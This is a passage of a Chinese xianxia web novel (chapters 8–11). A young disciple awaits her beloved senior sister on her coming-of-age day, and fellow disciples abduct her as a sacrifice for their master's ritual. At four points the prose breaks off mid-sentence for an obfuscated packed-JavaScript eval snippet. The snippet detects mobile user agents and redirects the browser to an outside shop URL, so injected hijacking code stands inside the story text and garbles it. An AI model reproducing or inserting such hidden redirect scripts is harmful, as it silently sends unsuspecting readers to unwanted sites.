她抬手将长发拢至肩后,带起一阵极其轻柔的雾气,湿漉的长发将水珠溅上屏风,沿着银线的绣花枝如朝露般向下滑坠。 祈枝不由呼吸一滞,乱了心神。 待到回过神时,慕轻时已然站在镜边。 她身上只披着一层单衣,轻薄的衣料紧贴着湿润的肌肤,勾勒着平日不曾显露的柔美曲线。 她略一俯身,一缕碎发自鬓边向前垂落,坠下一滴水珠,于半块镜面之上重重跌碎。 隔着一层水雾,祈枝似是对上了那一双幽静的眸。 一瞬的心虚,让她慌忙切断了镜象,用力将差点害她犯大错的镜面狠狠摁进了胸口。 那一瞬的呼吸是慌乱的,许久方才慢慢平复下来。 祈枝想,她催动镜子的时机或多或少有点不太对劲了。 所幸对影镜被催动时的声音虽是双向传递的,画面却只是单向的,需得两面镜子同时被灵力催动,才能做到双向显象。 师姐刚才神色如常,应是什么都没有发现。 祈枝这般想着,用力晃了晃脑袋,小脸羞红地缩进了被窝。 …… 慕轻时推开了遮住半边镜面的衣物,眉眼低垂,凝视着那一面小小的镜子。 良久,拈起一处干净的衣角,轻轻拭去了镜面的水雾。 她的师妹方才“来过”,雾下那一抹稍纵即逝的绿,似还携了些许慌乱,都在那一瞬被她尽数看在了眼里。 她下意识想要伸手触碰,却最终只碰到了一片漆黑。 镜子那头,传来了一阵又闷又细的怪动静。 等到镜象再次出现时,那面镜子已被师妹又一次丢回了枕边,除了几根散乱的发丝,便只剩下一处空荡荡的房顶。 那丫头心向来很大,此刻估计又睡下了。 慕轻时披上外衣,坐在镜边多等了一会儿,再没等到旁的动静,一时合上双眼,无声轻叹。 末了,她将镜子拂入袖中,起身走至屋外。 落日余晖已淡,阿云在树梢上团成小小一个,也不知是不是睡着了。 除却风声,整个岁寒殿都是静默的。 她忽然很不喜欢这样的静默,于是摧了几处梅枝,转身向殿外行去。 阿云被这突如其来的一阵动静吓了一跳,扭着脑袋往后看了一眼。 见慕轻时只是独自离去,并没有吩咐自己什么,便又缩起身子,睡起了自己的大觉。 * 自从某一次看到了些不该看的画面后,祈枝虽是止不住地在心底回味了不知多少次,却还是老老实实,本本分分地自己学了个乖。 为了避免同样的事情再次发生,她每次催动对影镜前都会倒扣镜面,将声音先传过去问问情况,再翻转镜面去看。 有了这面镜子,她什么时候想和师姐说说话,都可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971331|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试着问问师姐是否有空。 而慕轻时似乎总是有空的,无论她在什么时间与她通话,都会在很短的时间内收到回音。 有时祈枝也会担心,自己这样频频叨扰师姐,会不会让师姐感到困扰? 不过转念一想,师姐灵根已废,此生都不会再有突破,自然也不需要修炼了。 岁寒殿那么冷清,师姐每日都待在那里没什么事做,只有一个阿云相伴,想来心中很是孤寂。 四百年来,她总是想着要见师姐,说不定师姐也时常会想要见到她呢? 她这般一想,便又没了任何心理负担,甚至编了根结实的细绳,将那小镜子系了起来,整日都挂在腰间,只在睡觉时才舍得取下。 只是今日颇为晦气,她的小镜子被半道偶遇的四师兄看见了,他眼里闪过一丝诧异,靠上前来问了一句:“这玩意儿你哪儿弄来的。” 四师兄一向要风得风,要雨得雨,夺人所爱也是常有的事。 祈枝当即用双手护着镜子,眼神满是警惕:“这是二师姐送我的!” 四师兄听完,冲她翻了个大大的白眼:“送你真是白瞎了。” 末了,他也没敢多做什么,只是一脸嫌弃地走了。 祈枝松了口气,没忍住在背后朝他做了一个鬼脸,拳打脚踢了几下空气,奈何动作都还没收好,便被他回身抓了个正着。 怂怂的小草能伸能屈,在努力稳住身体平衡后,满脸心虚地扭头便往反方向全速开溜。 “我看你能嚣张到几时!” 四师兄不悦的声音自身后传来,祈枝只觉莫名其妙。 她一路小跑到无人之地,靠着一块山石坐下,用一缕灵力催动镜面,将心底这份莫名其妙告诉了慕轻时。她真是烦死四师兄了,总是没来由的对她有那么大恶意。 慕轻时闻言,轻声问道:“你有想过往后再也不要见到他吗?” 祈枝听了,抱着镜子认真思考了一会儿。 “这很难吧。”她小声说着,“除非我也可以像大师兄三师姐那样厉害,离了山门数十年都不用回来一次……” “也没有很难。” “啊?”祈枝一脸好奇地歪了歪头。 慕轻时微微颔首,笑得温柔:“你的小花快开了吧?” 祈枝知道,这在问她灵识之海里的那一朵呢。 “嗯!”她认真点了点头,“我能感觉到,它很快就要开了!” 她说着,好像意识到了什么,瞬间眼睛都亮了几分:“等我灵根修复,师姐会带我离山修炼吗?” 慕轻时没有否认,只是弯着眉眼,静静凝视着她,似是一种默认。 短暂静默后,忽有雪花随风飘落,祈枝抬眼向头顶望去。 很快,她站起身来,眼里满是欢喜。 “师姐你快看,下雪了!” “是啊,下雪了。” 恍然间,又是一年秋去冬来。 慕轻时看着天边越落越大的初雪,攥紧手中镜子,低声说道:“就快了,师妹。” “那些欺负过你的人……” “很快就可以,永远都不用再见了。” 8. 第 8 章 灵识之海内,满是一片纯白的虚无,唯有脚下生长着些许野草。 祈枝蹲在地上,轻轻拨弄着那一株软趴趴的小草。 它总是喜欢弯弯地垂在地上,像条小被子似的,盖着那个纯白的小花苞。 有时候真挺不愿相信的,这么懒的一株草竟是她的灵根。 “你啊,能弯着绝不直着,能倒着绝不立着,难怪天生残损呢……” “还好当初师尊用一缕灵力护住了你,不然我俩估计早就一起消散了。” “虽然你看上去很不争气,但是我还算挺勤快的吧,等你不再残缺了,我便好好修炼,让你长得高高大大的!” 祈枝说着,指尖的小草似听懂了般,慢吞吞地立了起来,将纯白的花苞高高抬起。 “对嘛,这样看着才精神一点啊!” 懒懒的小草经不住夸,立起来没几秒,便又带着花苞软趴趴地垂了下去。 “罢了罢了,你怎么舒服怎么来吧。”祈枝轻抚着瘦长的叶片,弯眉笑道,“只要能好好长大,按时开花就好!” 她说着,与它道了个别,起身离开灵识之海。 扯了扯身上的被子,侧过身去,闭眼睡下。 …… 说起来,初雪过后,祈枝便一直满心期待。 慕师姐说了,待到她灵花开时,便会带她离山修炼。 师尊那边不用担心,师姐自有办法让他答应。 自打有记忆起,她就一直生活在这里,唯一一次被忽悠着离了山,还什么都没见着呢,就被抓回来罚跪了一天一夜。 但在慕轻时提及离山之前,她似乎从来没有想过要离开这里。 她想,可能因为她只是一棵小草吧。 哪棵小草不是扎根在最初发芽的地方努力生长的? 风吹雨打,万灵践踏,对小草来说,不过只是寻常。虽说会痛会怨,但只要还活着,就总能等到暖暖的太阳。 至少从前的她是这样想的。 不过现在不一样了! 那些曾经压得她总是抬不起头的风雨,还有那些来自他人有意或是无意的践踏,都因慕轻时的出现,变得再也不能轻易将她伤害。 九师姐说过,待她成年之日,便是那灵花开时。 到时候,她就可以跟着慕师姐一起远离这里,远离那些她再怎么努力讨好也无法消弭的恶意了。 只是当人开始盼望某一天的到来时,日子便会莫名过得又快又慢。 分明要忙活的事没怎么变,想见的人也时常都在见着,祈枝就是觉得这一天天都过得怪让人着急的。 所以每晚睡前,她都会进入自己的灵识之海,陪自己的灵根聊会儿天,仿佛这样它就能长得更快一点。 其实吧,若是普通的小草,被她每天这样陪着,还真能长得快上不少。 但这灵根不一样啊,任凭她怎么哄,都始终一副软趴趴的模样,偶尔支棱起来,也不会超过十秒。 见它总是如此,祈枝有时都怀疑九师姐是不是情报有误,其实她的灵花并不会在成年之时立即绽放。 这样的怀疑,难免伴着几分焦虑。 为此,祈枝不止一次满眼期待地坐在慕轻时面前,双手托住下巴,小声嘟囔:“师姐,我的灵根近日毫无动静啊。” 慕轻时听罢,总是笑着一边喂她好吃的,一边告诉她不用急。 其实她是想让师姐再帮自己看一次的,若师姐看完也说没问题,她就可以不这样患得患失了。 奈何师姐上次特别严肃地教育过她,灵识之海这种地方往后再也不能让人进了,她一直没敢开口去提,只敢像这样暗戳戳地暗示。 不过可能是她暗示得太过隐晦,慕轻时一次都没领会,这事便也就这样不了了之了。 …… 山间岁月如风,悠悠吹白了天地。 不知不觉,金桂入坛已有三月。 今年的桂花酿,发酵得倒是比往年都要香醇。 祈枝抱起两坛便踏着一地银白,往岁寒殿的方向赶了过去。 每年的这个时候,无论多大的风雪,她都会和慕师姐一起赏梅赏月,同饮新酒。 当然啦,她也没有忘记阿云。 知道它喜欢吃冬日里那种红红的小果子,她可是特意为它摘满了一个小袋子呢! 那小家伙似能闻到味儿似的,老早就飞到半山腰来接她了。 慕轻时也为她准备了好吃的糕点,还有暖和的披风。 再有一月,她就要成年了。 妖族寿数长,基本不过生辰,可五百岁的成年礼总归是要有的。 祈枝并不在乎,也从不认为那些平日里就瞧不上她的同门,会把这个独属于她的重要日子记在心上。 但她在乎慕轻时对此是否足够重视。 所以她小心翼翼,她拐弯抹角,她看上去着实不太聪明地说着指向性简直不要太明显的话。 “九师姐上一次境界突破时,门中上上下下都去庆贺了,收到的礼物多得堆满了院子,许多东西她连看都不曾看上一眼,就命人丢进库房吃灰去了。” “四师兄每年都过生辰,听说他在入山前身份挺尊贵的,所以挺重视这些,每一次收到的好东西也不少,随便拿出一两样都是我没见过的。” “六师姐离山时也有好多人围着送行……” “师尊亲收的弟子就那么几个,好像谁的大日子都是热热闹闹的。或许也只有我成年那日,会冷冷清清,无人在意吧……” 祈枝说着,垂下眉眼,将唇抿成了一条线。 “不会的,我在意着呢。”慕轻时看穿了她的小心思,轻轻拍抚着她的手背,“要给你的礼物,我可是早就准备好了。” “真的?”祈枝一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971332|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就开心了,“师姐要送我什么啊!” 她话音刚落,便被刮了一下鼻子。 慕轻时:“现在告诉你,可就没有惊喜了。” 祈枝想了想,觉得师姐说得有道理,乖乖点了点头,抬头看向了雪中的白梅。 慕轻时循着她的目光望去,一时默然。 有风吹过,祈枝拢了拢身上的披风,目光再一次看向了慕轻时。 慕轻时察觉到她的目光,亦回望着她,携着浅浅的笑意。 在祈枝的记忆里,慕师姐大多时候都是笑着的。 她脸上的笑意总是浅浅淡淡,似春风,似月光,那么温柔,那么美好。 可不知为何,就是有那么短短一瞬,祈枝忽然感觉慕师姐似乎并不开心,这让她心底多了几分说不清道不明的滋味。 “怎么了?” “没,没怎么……” “骗人,分明就是有心事了。”慕轻时点穿了她,“挂在脸上呢,藏都不藏一下。” “师姐还说我呢。”祈枝低头,小声嘟囔,“师姐分明也有心事,虽然藏得很好,但还是被我发现了……你现在不怎么开心。” 慕轻时闻言一愣,而后低眉,自嘲似的笑了。 “我若遇上不开心的事,只要告诉师姐,也就不再感觉难受了。”祈枝说着,坐直身子,脸上写满了认真二字,“师姐有心事,可以和我说说吗?” 慕轻时却只是摇了摇头,告诉她:“能说出口的心事,是不会被人藏起来的。” “……”祈枝一时有些失落,默默低下了头。 一小块糕点被送到了她的嘴边,她抿了抿唇,不太想接,奈何僵持数秒,最终还是被那淡淡的甜香诱惑得张开了嘴。 她一边嚼着,一边嘟囔:“师姐不开心,我都帮不上什么忙……” “怎么会?”慕轻时摇了摇头,认真道,“你每次来陪我说话,我都很开心啊。” 祈枝:“真的吗?” 慕轻时点头:“当然。” 祈枝张了张嘴,再压不住这些年来心里的困惑:“师姐为什么对我那么好啊?” “怎么忽然问这个?” “凡事都要有一个原因啊。”祈枝认真道,“我喜欢师姐,因为师姐是世上对我最好的人,师姐对我的好,我都还不上千分之一。那师姐这些年来对我那么好,又是为什么呢?” 慕轻时似是思量了一下,抬手揉了揉祈枝的头发:“因为师姐也喜欢你啊。” 祈枝歪了歪头,端起杯子,抿了一口淡酒。 这个答案,似乎并不能解释她心中疑惑。 可她还是挺高兴的。 因为这是第一次,慕师姐亲口对她说出了“喜欢”二字。 她想,有些事想不通其实可以不想的。 她喜欢师姐,师姐也喜欢她,这就已经比什么都重要了! 9. 第 9 章 祈枝离开岁寒殿时,脚步似比鸟儿都要轻快。 心情就像是云,轻飘飘的,风一吹就能飞去好远。 因为慕师姐对她说了喜欢,还亲口答应,待她成年那日,定会出岁寒殿,带着份独一无二的礼物去陪她。 其实祈枝可以自己往岁寒殿跑的,这条山路说远也没有太远,她早就已经跑习惯了。 可慕师姐来寻她,和她去寻慕师姐,或多或少是有点不一样的。 至少这样,旁人就不会说她连成年礼都找不到人陪,只能自己跑去岁寒殿倒贴二师姐了。 求求啦,时间过得再快一点吧! 对于那个将要到来的日子,她已经迫不及待了! …… “瞧这步子轻的,真好哄啊。”阿云感慨着,轻轻飞落到慕轻时的肩头。 慕轻时并未言语,只是静静凝望着祈枝离去的方向。 直至那一抹轻盈远去的身影,彻底融入了漫山的风雪,这才缓缓收了目光,转身穿过长廊,回到屋中坐下。 灵光闪过,慕轻时将对影镜放至桌面。 镜面上笼着薄薄一层用以单向隔音的灵力。 镜子的另一端,系在祈枝的腰上,随着那轻快的步伐晃晃荡荡,除了山间风雪,和偶尔拂过的衣角,便再没有其它。 阿云跳到镜子边上,歪着脑袋看了一会儿。 没忍住,吐槽了一句:“这么晃,看着不晕吗?” 慕轻时将镜面倒扣,默默闭上了眼。 祈枝一路轻哼着什么,曲调被风吹得断断续续,却也掩不住少女声音里的欢喜。 不知过了多久,风声渐渐小了,随着吱呀一声门响,少女的歌声清晰起来。 慕轻时迟疑片刻,指尖抚过镜柄,断去镜中音画。 四周忽然安静下来,团在镜边打盹儿的小鸟倏地睁开了双眼。 它抬头看了一眼慕轻时,见她神色并无异样,便又把自己重新缩成了一团。 天知道那一路的风雪声到底有多催眠,真佩服有些人听着半点儿都不犯困——它都快要困死了! 小鸟儿这般想着,打了一个大大的哈欠,两眼一闭,埋头就睡。 等它再次醒来,天色已暗,慕轻时正侧坐在窗边,望着指尖一支玉簪出神。 簪头质朴,唯有一朵未绽的花苞,精致小巧,栩栩如生。 簪身细长,微微弯曲,皎白似月,雕刻着玉藤绕树。 阿云站起身来,抖抖翅膀飞至窗边,脑袋向前一探,只一眼,便看见了玉簪末端若隐若现的一抹殷红。 “滴血认主啦?” “嗯。” 阿云晃着脑袋,叹了一声:“送点儿啥不好,非要送这个?哎,我都不想说你,那么喜欢给自己找不痛快是吧……” 慕轻时伸出一根食指,轻轻摁住了它的小脑袋。 “阿云。” “咋?”阿云挣扎着拍了拍翅膀。 慕轻时笑着松开了它的小脑袋:“看看道尊。” “哦!”阿云应着,抬头最后看了一眼那支玉簪,跃出窗外,飞向天际。 岁寒殿唯余一阵静默。 良久,慕轻时将玉簪没入指尖灵光,起身化作一缕青烟,悄无声息融入夜色,去向山间灵气最为混乱之处。 * 祈枝也不知为何,最近一直睡不太安稳。 梦到的东西乱七八糟,梦也总是断断续续,时不时就会被一阵莫名的心悸惊醒,就连慕轻时送给她安神用的竹风铃也失了效。 祈枝怀疑自己又生了什么病,可清醒的时候也没觉得身子有哪儿不舒服。 思来想去,她将一切归结为太过于期待某一件事,从而导致了过多的紧张与忐忑不安。 所幸,近日祈枝的睡眠质量虽是不好,睡眠时间却是多了不少。 平日里总爱给她丢闲活儿的那些人,最近仿佛一个个都良心发现了似的,没怎么来使唤过她了。 不过这些人要真能良心发现,也就不至于没事都要找事地使唤她好几百年了。 祈枝想,这或许是师尊的意思吧。 她的灵根就快被师尊修复了,哪怕是素来性子高傲的那位九师姐,在得知此事后都要来同她好声好气地说说话,更何况其他人呢? 不用被人来回使唤日子十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971333|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分清闲,祈枝每天不是往岁寒殿跑,就是缩在被窝里呼呼大睡。 偶尔既不想跑,也不想睡,便优哉游哉地收拾自己的小破院子。 她要把这里收拾得干干净净,整整齐齐的,到时慕师姐来了,待得也能舒服一点! 只是等到全都收拾好了,祈枝又开始觉得自己这小破院子要什么没什么,空空荡荡,无趣得很。 短暂沉思后,她灵机一动,向远处山间跑去。 冬日严寒,山间难免少些颜色。 祈枝花了不少时间,从山间厚厚的积雪下刨出了许多休眠的花儿,一株接着一株,小心翼翼地捧回小院儿,用自己那点微弱的灵力将它们一一唤醒,认认真真摆满了一屋春色。 末了,她跑进院子,催动对影镜,甜甜地喊了几声师姐。 镜子那头漆黑一片,祈枝稍稍等了一会儿,画面便随着一道灵光亮了起来。 “师姐,还有五日,我就成年啦!” “我记着呢。” “我才不怕师姐忘呢!”祈枝皱了皱眉,故作愁颜,眼底却满满都是掩不住的笑意,“我是想说,我为师姐准备了一点小惊喜!” “什么惊喜?” “师姐到时来了就知道!”祈枝说着,笑吟吟地补了一句,“这几天都不可以偷看哦!” “好!”慕轻时点头。 “绝对不可以偷看哦!” “嗯!”慕轻时应得宠溺。 虽说慕轻时答应了不会偷看,但镜子那头究竟会在何时显现画面,是祈枝完全无法预知和控制的。 为了确保这份惊喜可以保留到最该被慕轻时看见的那一天,祈枝干脆解开了腰间的系绳,将这镜子倒扣着压在了枕头底下。 这样不就万无一失了吗! 祈枝从床上跳了起来,看着满屋的繁花,不禁暗自好奇——除却白梅,慕师姐还喜欢什么花呢? 成年的那一日,当面问问师姐吧。 祈枝想,她应折下一枝师姐最喜欢的,亲手簪进那如墨般素净的发间。 也不知到时,她藏于心中的那些念想…… 能否得到一个回应。 10. 第 10 章 又一年大寒,白雪覆了满山。 冬末的风总是凛冽,吹得竹风铃在院中咚咚哒哒响了一夜。 祈枝把脑袋探出被窝,眯着双眼,打了一个大大的哈欠,开始发呆。 今日不曾心悸,她做了一个美梦。 梦里,她的灵花开了,满山冬雪为之消融。 师尊久违地召见了她,当着门中上下所有人的面,手一挥,在她面前铺开了一地法宝,让她随心挑选。 法宝那么多,她都不怎么认识,看了一圈,最后选了一个青色的小玉瓶。 这个小玉瓶神奇着呢,无论茶水酒饮,只要倒入其中一点,便会随着时间不断变多,只要取时不尽,便能饮之不竭。 她曾在九师姐那儿见过这样的法宝,暗自羡慕了几百年,总算也能拥有一个啦! 还有,慕师姐收下了她送的花,与她结为道侣,住进了被她收拾得干干净净的小院子。 从此再没有漫长的山路要走,慕师姐每天帮她梳好看的发髻,喂她吃好吃的东西,还会握着她的手,教她练熟每一个剑招。 而阿云呢,无事时喜欢立在窗外的树梢上,向下探出一只小小的脚丫子,反复拨弄着那串悬树上的竹风铃。 她的灵根越长越大,渐渐长成了一棵开满了纯白灵花的大树。 山中同门再没来找过她的麻烦,曾经对她颐指气使的人,如今都对她客客气气,就连最讨人厌的四师兄也会对她笑脸相迎。 最重要的是,她可以随时想离山就离山了! ——真好啊! 如果不是一场梦就更好了。 这么好的梦,竟然断在了她和慕师姐一同离山的路上。 祈枝多少有点怅然若失了。 好一阵放空后,她缓缓回过神来,忽然两眼一亮,随一瞬的心念入了灵识之海。 五百年前,她灵智初开,因早早化了人形,被道尊一眼择中,破例收入门下。 那一日,正是大寒。 今天,是祈枝五百岁成年之日,她刚从香甜的睡梦中回过神来,便第一时间兴匆匆地跑到了自己的灵根面前。 她以为自己会看到一朵绽放着的灵花,结果那棵软趴趴的小破草竟还半死不活地垂在地上! 祈枝气呼呼地蹲在了它的边上,眉心紧拧:“你怎么回事呢?” 不是说好了今天要开的吗? 祈枝盯着那棵小草,小小地难过了一会儿,在心底告诉自己——不急,不怕,再等等! 没准现在天太冷,等到春天就开了呢? 她这般想着,手指轻轻抚上那破破烂烂的叶片。 那一刻,一缕柔绿的灵光自她指尖一闪而过,顺着叶脉淌入根系,又将其轻轻萦绕。 破破烂烂的小草缓缓立了起来,叶片似小手般轻轻托着那一朵小小的花苞。 祈枝只是愣了一下,花苞便已经变作花蕾。 花儿轮廓初现,忽一阵清风拂过,花蕾随风轻晃,于灵光中轻颤着抖开了片片花瓣。 清风吹绿了一片纯白的虚无。 万物都在顷刻间悄然苏醒。 青山绿水,花鸟虫鸣,皆以她为中心,自由呼吸在这片繁盛的天地。 新生的花草在她眼底轻轻摇曳,花叶似都向着那一朵初绽的纯白。 祈枝怔怔望着眼前的一切,好半天才回过神来,激动得站起身来,在这片生机盎然的天地又喊又跳。 那棵小草看上去还是那么破破烂烂,但是它也真的开出了一朵很漂亮的灵花,在此处生出了一片天地之景。 她的灵根……算是被修复了吗? 祈枝看不懂这些,默默退出灵识之海,望着满屋繁花,止不住期待起了慕轻时的到来。 这一次,如果师姐愿意,她想大着胆子让师姐帮她看看。 祈枝睁开双眼,深吸了一口长气,从床上弹坐起来,穿上外衣,走进院子,对着大水缸里的倒影认真捯饬了一下自己。 末了,她走到光秃秃的老树下,垫脚拨弄了几下竹风铃,又转着圈圈蹦到院外,轻依着木篱,向着那一片被冬雪覆盖的远山遥遥望去。 她不是一棵耐寒的小草,可她还是想要站在这里等。 等慕师姐来了,她要第一时间迎上去。 慕轻时什么时候会来,祈枝不知道。 对影镜就压在枕下,其实她是可以问问的,可她就想一直等在这里。 催来的,和盼来的,到底是不太一样的。 许是因为那一朵灵花开了,今日的风不似往日的冷。 祈枝等了许久,没有等到慕轻时,倒是等来了四师兄和九师姐。 当看清远方来人之时,祈枝只觉两眼一黑,转身躲回屋中,锁上屋门,关好窗子,默默祈祷这两人只是恰巧路过。 不过没多会儿,那俩人便来敲门了。 九师姐见房门紧锁,还跑到窗边,扒开窗缝往里看了一眼。 “十一师妹!原来你在啊!” 她这声师妹喊得很甜,祈枝叹了口气,起身开门。 这门才刚开了一条缝隙,九师姐就已急着挤了进来,看着不同季节的花开了满屋,脸上不由闪过了一丝未明的情绪,又于顷刻之间敛入眼底。 “好漂亮啊!师妹真是心灵手巧,这天寒地冻的,还能把这么多花都栽活了。”她感慨着,上前牵起了祈枝冻得冰冰的手。 祈枝下意识把手回缩,却又被她笑着拉了回去。 “你这手怎么这么冰啊,师姐帮你暖暖!”九师姐说着,掌心聚起灵力,轻轻捂住了祈枝的双手。 “我其实不冷……” “往后要相处的日子多着呢,师妹何必如此客气?”九师姐弯眉一笑,将祈枝双手松开,“今日是你的成年礼,我和四师兄特意为你挑了礼物呢!” 祈枝微微一愣,抬头朝门外的四师兄怯怯瞄了一眼。 似乎,应该,不是错觉。 四师兄看向她的眼里难得没有厌烦之色,甚至好像此刻心情不错,全然一副随时准备与她握手言和的模样。 可越是这样,祈枝就越觉得哪里不对,下意识就往后退了半步。 “四师兄,九师姐,今日风大,要不你们先进来坐坐?”祈枝说着,摆了摆手,“礼物什么的,不急不急,晚点二师姐也会来的,我想留着到时候一起看就……” 九师姐打断了祈枝的话:“什么时候看不是看?” 她说着,手心幻出一只玉镯,又一次牵起了祈枝的左手:“上次送你的手链你不喜欢,想来嫌弃那是寻常玩意儿。但这次这个,可是件法器哦。” “法器?”祈枝都没回过神来,那镯子便已被九师姐戴在了她的手上。 “是啊,你看!” 九师姐指尖在玉镯上轻轻一点,便现出一圈暗金色的法纹,绕着祈枝的腕间缓缓流转。 祈枝不懂:“这是什么?” 九师姐:“是一个小法阵哦,里面是我和四师兄的灵力。” 祈枝:“有什么用吗?” 九师姐闻言,笑得灿烂:“保护你呀!” 祈枝眨了眨眼,看着手上的玉镯,满脑子都是慕轻时提醒的那句——“她的东西能不碰就别碰。” 可现在九师姐就在面前,边上还有个四师兄,她就算想摘也不太敢动,只得在心里暗暗想着,待会儿把这两人送走了,她再将这镯子摘下,交给慕师姐分辨一下。 祈枝想得认真,门外一直沉默不语的四师兄却是忽然开了口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971334|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行了行了,说正事。” “哎,差点忘了!”九师姐说着,将玉镯上的法阵隐匿起来,轻轻拍了拍祈枝的肩膀,对她说,“十一师妹,恭喜啊,师尊要见你了!” “诶?”祈枝顿时睁大了双眼,“是,是师尊召见我?” “对!”九师姐很是认真地点了点头,“我们今日就是奉命来此,带你去见师尊的,你快随我们去吧,可不能让师尊久等!” 祈枝心头一喜,下意识就要跟着二人出门。 有风吹过,老树上的风铃幽幽晃动起来,她忽然想起自己本应在此等待一人。 祈枝忽然停下脚步,四师兄和九师姐纷纷回头看她。 短暂尴尬后,祈枝大声道:“等我一下!” “等什么?”四师兄不耐烦起来。 “我与二师姐约好了,她要来了找不见我,会着急的……”祈枝说着,伸手指了指屋内,“我有对影镜,我先去和二师姐说一声!” 说罢,祈枝转身朝床边跑去,将对影镜拿了出来。 她没看见的,是四师兄神色一变,一个瞬步闪至她的身后。 下一秒,她只觉浑身一冷,便再没了意识。 “真麻烦。”叶无拘皱眉看着趴倒在床边的祈枝,眼里满是无语。 清瑶小步蹦跶到床边,俯身检查了一下对影镜,松了口气:“还好没让她把这破镜子打开,否则又要节外生枝了呢。” “师尊想做的事,她一个毁了灵根的废物还能拦下不成?”叶无拘说着,冷哼一声,“慕轻时早晚都会知道,我倒还挺想看看,她到时作何表情。” 清瑶不禁笑出声来:“她那么护着十一师妹,到时不会要和师尊拼命吧?” 话音落时,她指尖释出一缕灵力,如同丝线一般,将祈枝手脚缠住。微微勾动手指,祈枝便站起身来,于她身后亦步亦趋。 清瑶看了一眼祈枝腕间的玉镯,忍不住向叶无拘小声问道:“这样真的不会被师尊发现吗?” “怕什么?你我本就要为师尊护阵,阵中有我们的灵力再正常不过。就算真发现了,我们不过分走这么一点,师尊不会追究的。”叶无拘说着,声音不自觉压低了几分,“他老人家也知道这事不光彩,等到那些离了山的回来,还不是要靠我们替他圆谎。” “也对……”清瑶点了点头,将祈枝牵出了屋门。 靠近院门之时,院中的风铃忽然响得分外狂乱,她不禁感到一阵心慌,朝树上看了一眼。 只这一眼,已是遍体生寒。 竹风铃上的灵力本应是干净而又微弱的,可此时此刻,悬在树梢的,竟是一种深暗的,仿佛可以吞噬一切的黑。 “魔气?”叶无拘皱眉,将本命剑于掌心释出,“山中怎会有这种东西?” 二人来不及过多思考,只见那魔气如烟似雾,顷刻间便已悄无声息地笼罩了整个院落。 天光似被彻底吞没,只余下一片仿佛将要入夜的昏暗。 “师兄!”清瑶下意识向身后靠去,想要寻个依靠,回身却是空无一人。 她指尖的灵丝不知何时断了,方才还牵在手中的祈枝已躺回了床上,被子都盖得严严实实的。 忽有什么滴落在她的脸上,携着几分温热,向下缓缓滑落。 一滴落至眼角。 余光瞥见,是一抹殷红。 清瑶不由一颤,抬头朝屋顶看去。 一只白首灰翼,身形巨大,生着一双虎爪的怪鸟,正蹲坐在上头,半点声音都没有地撕咬着半具血淋淋的残躯。 鲜血从屋顶溅落,一柄断剑被它摁在虎爪之下。 她止不住发出一声惊叫。 巨鸟双目血红,脑袋一歪,静静地望向了她。 11. 第 11 章 琼琚山,半入云端之境,仙台高悬,已数千年。 仙台之上,悬有一阵。 暗金色的铭文,缓缓流转于纯白云海之间,若隐若现,似有着神明般的肃穆,引得无数弟子仰头遥望。 有人说,道尊这是要突破了。 门中七位长老,还有那六位道尊亲收的弟子,全要去仙台之上为道尊护法。 “可天门不都断了几千年了?就算突破了,也去不了天界啊。” “非去天界作甚?天界早就不管我们死活了。道尊心系人间,若真能突破天劫之境,修得一副仙身,定也会留在人间,护佑苍生!” “也对,五百年了……”仰望仙台的弟子低声喃喃着,“人间也该有新的神明了。” 仙台之上,道尊端坐阵心。 他身着素白的广袖道袍,银发仅以一根木簪半束,垂落于云雾之中。 虽已是三千之寿,道尊面容仍是温润如玉,不见丝毫岁月痕迹,唯有一双眼眸,似已远离凡俗,无尘无垢,遥如星海。 便是风雪,也绕他三丈而行。 七位长老,四名弟子,落坐于各方辅位,双手所结之印,皆共鸣着阵中暗金色的铭文。 他们神情庄重,目光微垂,似在等待着什么。 阵中,缺了两人,以及一个祭品。 “四师兄和九师妹怎么还没来?” “谁知道呢?” “俩不靠谱的,带个人都这么慢,怕不是在路上调情呢?” “四师兄不是喜欢六师姐吗?” “他还能在一棵树上吊死了不成?” “这话可别让九师妹听见,人心眼小着呢。” 